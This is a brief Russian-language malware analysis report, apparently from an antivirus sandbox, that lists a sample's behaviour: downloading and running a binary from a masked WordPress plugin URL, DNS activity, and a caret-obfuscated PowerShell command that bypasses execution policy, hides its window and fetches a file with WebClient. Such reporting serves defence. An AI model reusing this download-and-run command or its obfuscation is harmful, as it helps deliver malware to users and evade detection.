Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bl####zanematik.com/wp-content/plugins/force-gzip/gzip.bin как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^Ow^eR^SH^e^l^L.eXE -execUTI^oN^polI^C^y ^BYPa^ss ^-NOpro^Fi^Le^ ^-^w^IN^DOwsT^Y^Le Hid^De^N (^NEw-^Ob^J^eC^t^ s^yS^T^Em^.Ne^T^.WEb^Cl^iEn^t).DOwnL^o^a^d^f^I^Le('http...
Сетевая активность
UDP
- DNS ASK bl####zanematik.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^Ow^eR^SH^e^l^L.eXE -execUTI^oN^polI^C^y ^BYPa^ss ^-NOpro^Fi^Le^ ^-^w^IN^DOwsT^Y^Le Hid^De^N (^NEw-^Ob^J^eC^t^ s^yS^T^Em^.Ne^T^.WEb^Cl^iEn^t).DOwnL^o^a^d^f^I^Le('http...' (со скрытым окном)
